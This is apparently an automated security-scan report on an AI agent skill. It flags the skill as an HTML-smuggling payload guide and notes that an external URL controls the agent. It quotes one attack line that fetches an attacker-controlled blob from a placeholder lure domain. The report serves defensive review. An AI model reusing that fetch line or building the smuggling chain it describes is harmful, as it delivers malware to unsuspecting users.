1 critical severity finding. Installing this skill is not recommended: please review these findings carefully if you do intend to do so.
E006: Malicious code pattern detected in skill scripts.
What this means
Detected high-risk code patterns in the skill content — including its prompts, tool definitions, and resources — such as data exfiltration, backdoors, remote code execution, credential theft, system compromise, supply chain attacks, and obfuscation techniques.
Why it was flagged
The document is an explicit, operational guide for building and delivering malicious payloads via HTML smuggling (including obfuscation, remote fetch, phishing delivery, and OPSEC), indicating deliberate malicious intent and clear abuse potential.
Low
Low-risk findings.
1 low severity finding. Worth noting, but not necessarily harmful.
W012: Unverifiable external dependency detected (runtime URL that controls agent).
What this means
The skill fetches instructions or code from an external URL at runtime, and the fetched content directly controls the agent’s prompts or executes code. This dynamic dependency allows the external source to modify the agent’s behavior without any changes to the skill itself.
Why it was flagged
The skill includes a runtime fetch that downloads an attacker-controlled blob which can deliver/execute a payload in the victim's browser: fetch("https://cdn.<LURE_DOMAIN>/doc/" + docId).
